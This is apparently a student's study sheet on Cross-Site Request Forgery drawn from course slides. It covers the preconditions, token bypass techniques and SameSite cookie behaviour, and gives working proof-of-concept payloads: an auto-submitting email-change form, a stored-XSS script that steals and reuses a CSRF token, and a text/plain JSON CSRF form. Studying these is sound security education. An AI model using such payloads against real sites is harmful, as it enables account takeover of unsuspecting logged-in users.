

Cross-Site Request Forgery (CSRF)

Tricking a logged-in user's browser into making unintended requests

How CSRF Works

Attacker hosts a malicious page. When a logged-in victim visits it, their browser automatically sends cookies to the target site — so the forged request looks legitimate. The server cannot tell it was initiated by an attacker page.

ALL 3 CONDITIONS MUST BE TRUE (FROM SLIDES)

SLIDES

1. A relevant action exists (change email, transfer money, delete account)
2. Session is handled only via cookies – no other unpredictable verification
3. No strong, unpredictable CSRF token – or token is bypassable

PoC Payloads (from Slides)

GET-BASED CSRF — SIMPLEST

SLIDES

```
<!-- Load as image – browser fires GET with cookies automatically -->


<!-- Or just navigate -->
<script>window.location="https://victim.com/delete?id=42"</script>
```

POST-BASED CSRF — AUTO-SUBMITTING FORM

SLIDES

```
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://victim.com/my-account/change-email">
<input type="hidden" name="email" value="attacker@evil.com"/>
</form>
</body>
</html>
# Victim opens this page -> form submits instantly with their session cookie
```

CSRF Token Bypass Techniques

Remove token entirely	Submit request without any CSRF param — server may not validate
Use blank/random token	Server may only check presence, not value
Use another user's token	If token not tied to session, any valid token works
Change POST to GET	Token may only be checked on POST — try GET with same params

Change Content-Type	Some frameworks skip validation for certain content types
X-HTTP-Method-Override	Header tricks some frameworks into treating GET as POST

Stored XSS to Steal CSRF Token (from Slides)

Scenario: change-email is guarded by CSRF token. There is stored XSS in comments. Inject this payload — when admin views it, their token is stolen and used:

SLIDES

```
<script>
var req = new XMLHttpRequest();
req.onload = function() {
  // Extract CSRF token from the returned account page HTML
  var token = this.responseText.match(/name="csrf" value="([^"]+)"/)[1];
  var req2 = new XMLHttpRequest();
  req2.open("POST", "https://victim.com/my-account/change-email", true);
  req2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  req2.send("email=attacker@evil.com&csrf=" + token);
};
req.open("GET", "https://victim.com/my-account", true);
req.send();
</script>
```

SameSite Cookie & Extra Bypasses

SameSite value	Cross-site GET	Cross-site POST
Strict	Blocked	Blocked
Lax	Allowed (top-level nav)	Blocked
None	Allowed	Allowed
Not set	Allowed (old behaviour)	Allowed

Lax bypass: Use a top-level GET navigation (window.open, meta refresh, or link click). Since Lax allows GET on top-level navigations, a GET-based state-changing action can still be exploited.

JSON CSRF — EXTRA

EXTRA

```
# If server accepts text/plain and parses body as JSON loosely:
<form enctype="text/plain" action="https://api.victim.com/update" method="POST">
<input name='{"email":"evil@x.com","x":"" value='1'}'>
</form>
# Sends body: {"email":"evil@x.com","x":""=1"}
# Works if server does loose JSON parsing on form-encoded body
```